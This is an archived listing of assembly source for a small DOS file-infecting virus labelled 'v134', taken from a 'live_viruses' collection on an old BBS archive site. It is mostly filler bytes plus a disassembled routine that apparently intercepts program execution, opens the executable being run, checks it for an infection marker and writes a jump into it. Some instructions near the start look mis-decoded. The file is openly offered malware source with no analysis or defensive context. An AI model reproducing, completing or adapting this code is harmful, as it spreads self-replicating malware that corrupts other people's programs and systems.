home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / 134.asm < prev    next >
Assembly Source File  |  1991-09-27  |  6KB  |  500 lines

  1. .286     
  2.  
  3. data_1e        equ    0FEE0h            ; (0000:FEE0=2120h)
  4. data_2e        equ    0FFh            ; (8841:00FF=0)
  5. data_7e        equ    8220h            ; (8841:8220=0)
  6. data_8e        equ    8420h            ; (8841:8420=0)
  7. data_9e        equ    9193h            ; (8841:9193=0)
  8.  
  9. code         segment    byte public
  10.         assume    cs:code, ds:code
  11.  
  12.         org    100h
  13.  
  14. v134        proc    far
  15.  
  16. start:
  17.         jmp    loc_1            ; (08D4)
  18.         dec    bp
  19.         mov    es,[bp+si-676Dh]
  20.         mov    al,ds:data_8e[bx+si]    ; (8841:8420=0)
  21.         mov    bx,ds:data_7e[bx]    ; (8841:8220=0)
  22.         mov    ds:data_9e[bx+si],dl    ; (8841:9193=0)
  23.         mov    es,[bp+si+0A0Dh]
  24.         and    al,0B4h
  25.         or    data_6[di],cx        ; (8841:0316=2525h)
  26.         add    bp,cx
  27.         and    bp,cx
  28.         db    ' %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  29.  
  30.  
  31.  
  32.  
  33.  
  34.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  35.  
  36.  
  37.  
  38.  
  39.  
  40.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  41.  
  42.  
  43.  
  44.  
  45.  
  46.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  47.  
  48.  
  49.  
  50.  
  51.  
  52.         db    '%%'
  53. data_5        dd    25252525h        ;  xref 8841:0941
  54.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  55.  
  56.  
  57.  
  58.  
  59.  
  60.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  61.  
  62.  
  63.  
  64.  
  65.  
  66.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  67.  
  68.  
  69.  
  70.  
  71.  
  72.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  73.  
  74.  
  75.  
  76.  
  77.  
  78.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  79.  
  80.  
  81.  
  82.  
  83.  
  84.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  85.  
  86.  
  87.  
  88.  
  89.  
  90.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  91.  
  92.  
  93.  
  94.  
  95.  
  96.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  97.  
  98.  
  99.  
  100.  
  101.  
  102.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  103.  
  104.  
  105.  
  106.  
  107.  
  108.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  109.  
  110.  
  111.  
  112.  
  113.  
  114.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  115.  
  116.  
  117.  
  118.  
  119.  
  120.         db    '%%%%%%%%%%%%%%'
  121.  
  122.  
  123. data_6        dw    2525h            ; Data table (indexed access)
  124.                         ;  xref 8841:011A
  125.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  126.  
  127.  
  128.  
  129.  
  130.  
  131.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  132.  
  133.  
  134.  
  135.  
  136.  
  137.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  138.  
  139.  
  140.  
  141.  
  142.  
  143.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  144.  
  145.  
  146.  
  147.  
  148.  
  149.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  150.  
  151.  
  152.  
  153.  
  154.  
  155.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  156.  
  157.  
  158.  
  159.  
  160.  
  161.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  162.  
  163.  
  164.  
  165.  
  166.  
  167.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  168.  
  169.  
  170.  
  171.  
  172.  
  173.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  174.  
  175.  
  176.  
  177.  
  178.  
  179.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  180.  
  181.  
  182.  
  183.  
  184.  
  185.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  186.  
  187.  
  188.  
  189.  
  190.  
  191.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  192.  
  193.  
  194.  
  195.  
  196.  
  197.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  198.  
  199.  
  200.  
  201.  
  202.  
  203.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  204.  
  205.  
  206.  
  207.  
  208.  
  209.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  210.  
  211.  
  212.  
  213.  
  214.  
  215.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  216.  
  217.  
  218.  
  219.  
  220.  
  221.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  222.  
  223.  
  224.  
  225.  
  226.  
  227.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  228.  
  229.  
  230.  
  231.  
  232.  
  233.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  234.  
  235.  
  236.  
  237.  
  238.  
  239.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  240.  
  241.  
  242.  
  243.  
  244.  
  245.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  246.  
  247.  
  248.  
  249.  
  250.  
  251.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  252.  
  253.  
  254.  
  255.  
  256.  
  257.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  258.  
  259.  
  260.  
  261.  
  262.  
  263.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  264.  
  265.  
  266.  
  267.  
  268.  
  269.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  270.  
  271.  
  272.  
  273.  
  274.  
  275.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  276.  
  277.  
  278.  
  279.  
  280.  
  281.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  282.  
  283.  
  284.  
  285.  
  286.  
  287.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  288.  
  289.  
  290.  
  291.  
  292.  
  293.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  294.  
  295.  
  296.  
  297.  
  298.  
  299.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  300.  
  301.  
  302.  
  303.  
  304.  
  305.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  306.  
  307.  
  308.  
  309.  
  310.  
  311.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  312.  
  313.  
  314.  
  315.  
  316.  
  317.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  318.  
  319.  
  320.  
  321.  
  322.  
  323.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  324.  
  325.  
  326.  
  327.  
  328.  
  329.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  330.  
  331.  
  332.  
  333.  
  334.  
  335.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  336.  
  337.  
  338.  
  339.  
  340.  
  341.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  342.  
  343.  
  344.  
  345.  
  346.  
  347.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  348.  
  349.  
  350.  
  351.  
  352.  
  353.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  354.  
  355.  
  356.  
  357.  
  358.  
  359.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  360.  
  361.  
  362.  
  363.  
  364.  
  365.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  366.  
  367.  
  368.  
  369.  
  370.  
  371.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  372.  
  373.  
  374.  
  375.  
  376.  
  377.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  378.  
  379.  
  380.  
  381.  
  382.  
  383.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  384.  
  385.  
  386.  
  387.  
  388.  
  389.         db    '%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%'
  390.  
  391.  
  392.  
  393.  
  394.  
  395.         db    '%%%%%%%%%%%%%%%%%%%%%%%%'
  396.  
  397.  
  398.  
  399.         db    0EBh, 17h, 90h, 8Bh
  400. loc_1:                        ;  xref 8841:0100
  401.         mov    si,data_2e        ; (8841:00FF=0)
  402.         mov    di,offset ds:[100h]    ; (8841:0100=0E9h)
  403.         mov    bx,630h
  404.         mov    cx,50h
  405.         add    si,[si+2]
  406.         push    di
  407.         movsw                ; Mov [si] to es:[di]
  408.         movsw                ; Mov [si] to es:[di]
  409.         mov    es,cx
  410.         cmpsb                ; Cmp [si] to es:[di]
  411.         jz    loc_3            ; Jump if zero
  412.         dec    si
  413.         dec    di
  414.         rep    movsw            ; Rep when cx >0 Mov [si] to es:[di]
  415.         mov    es,cx
  416.         xchg    ax,bx
  417.         xchg    ax,cx
  418. loc_2:                        ;  xref 8841:08FA
  419.         xchg    ax,cx
  420.         xchg    ax,es:data_1e[di]    ; (0000:FEE0=2120h)
  421.         stosw                ; Store ax to es:[di]
  422.         jcxz    loc_2            ; Jump if cx=0
  423.         xchg    ax,bx
  424. loc_3:                        ;  xref 8841:08E9
  425.         push    ds
  426.         pop    es
  427.         retn
  428.         cmp    ax,4B00h
  429.         jne    loc_5            ; Jump if not equal
  430.         pusha
  431.         push    ds
  432.         push    es
  433.         mov    ax,3D02h
  434.         call    sub_2            ; (0949)
  435.         jc    loc_4            ; Jump if carry Set
  436.         cbw                ; Convrt byte to word
  437.         cwd                ; Word to double word
  438.         mov    bx,si
  439.         mov    ds,ax
  440.         mov    es,ax
  441.         mov    ah,3Fh            ; '?'
  442.         int    69h
  443.         mov    al,4Dh            ; 'M'
  444.         repne    scasb            ; Rep zf=0+cx >0 Scan es:[di] for al
  445.         jz    loc_4            ; Jump if zero
  446.         mov    al,2
  447.         call    sub_1            ; (0946)
  448.         mov    cl,86h
  449.         int    69h
  450.         mov    al,0E9h
  451.         stosb                ; Store al to es:[di]
  452.         inc    si
  453.         xchg    ax,si
  454.         stosw                ; Store ax to es:[di]
  455.         mov    al,4Dh            ; 'M'
  456.         stosb                ; Store al to es:[di]
  457.         xchg    ax,dx
  458.         call    sub_1            ; (0946)
  459.         int    69h
  460. loc_4:                        ;  xref 8841:0910, 0922
  461.         pop    es
  462.         pop    ds
  463.         popa
  464. loc_5:                        ;  xref 8841:0903
  465.         jmp    cs:data_5        ; (8841:01A4=2525h)
  466.  
  467. v134        endp
  468.  
  469. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  470. ;                   SUBROUTINE
  471. ;
  472. ;         Called from:     8841:0926, 0937
  473. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  474.  
  475. sub_1        proc    near
  476.         mov    ah,42h            ; 'B'
  477.         cwd                ; Word to double word
  478.  
  479. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  480. ;
  481. ;         Called from:     8841:090D
  482.  
  483. sub_2:
  484.         xor    cx,cx            ; Zero register
  485.         int    69h
  486.         mov    cl,4
  487.         xchg    ax,si
  488.         mov    ax,4060h
  489.         xor    di,di            ; Zero register
  490.         retn
  491. sub_1        endp
  492.  
  493.  
  494. code        ends
  495.  
  496.  
  497.  
  498.         end    start
  499.  
  500.